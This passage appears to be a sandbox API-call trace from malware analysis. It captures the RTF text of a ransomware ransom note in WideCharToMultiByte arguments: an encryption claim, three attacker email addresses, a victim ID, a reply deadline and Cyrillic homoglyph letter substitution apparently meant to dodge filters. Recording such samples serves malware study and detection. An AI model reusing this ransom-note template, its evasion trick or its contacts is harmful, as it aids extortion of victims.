th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 